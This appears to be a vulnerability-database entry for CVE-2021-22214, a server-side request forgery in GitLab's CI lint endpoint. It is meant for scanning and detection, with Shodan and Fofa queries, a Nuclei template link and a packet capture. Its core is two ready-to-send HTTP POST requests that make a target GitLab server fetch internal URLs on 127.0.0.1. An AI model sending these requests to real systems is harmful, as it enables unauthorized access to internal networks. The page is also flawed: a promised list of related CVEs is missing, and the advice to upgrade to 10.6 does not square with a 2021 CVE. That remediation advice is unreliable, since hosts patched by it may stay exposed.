| Title | Gitlab CE/EE 10.5 - Server-Side Request Forgery |
|---|---|
| Author | Suman_Kar,GitLab Red Team |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system. |
| Remediation | Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher). |
| CVSS Score | 8.6 |
| EPSS Score | 0.9352 |
| CVE ID | CVE-2021-22214 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"GitLab"cpe:"cpe:2.3:a:gitlab:gitlab"http.title:"gitlab" |
| Fofa Query | title="gitlab" |
| Tags | cve2021 cve gitlab ssrf vkev vuln |
GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Length: 65
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1
Content-Length: 59
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{"content":"include:\n remote: http://127.0.0.1/test.yml"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22214.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22214.pcap
N/AN/A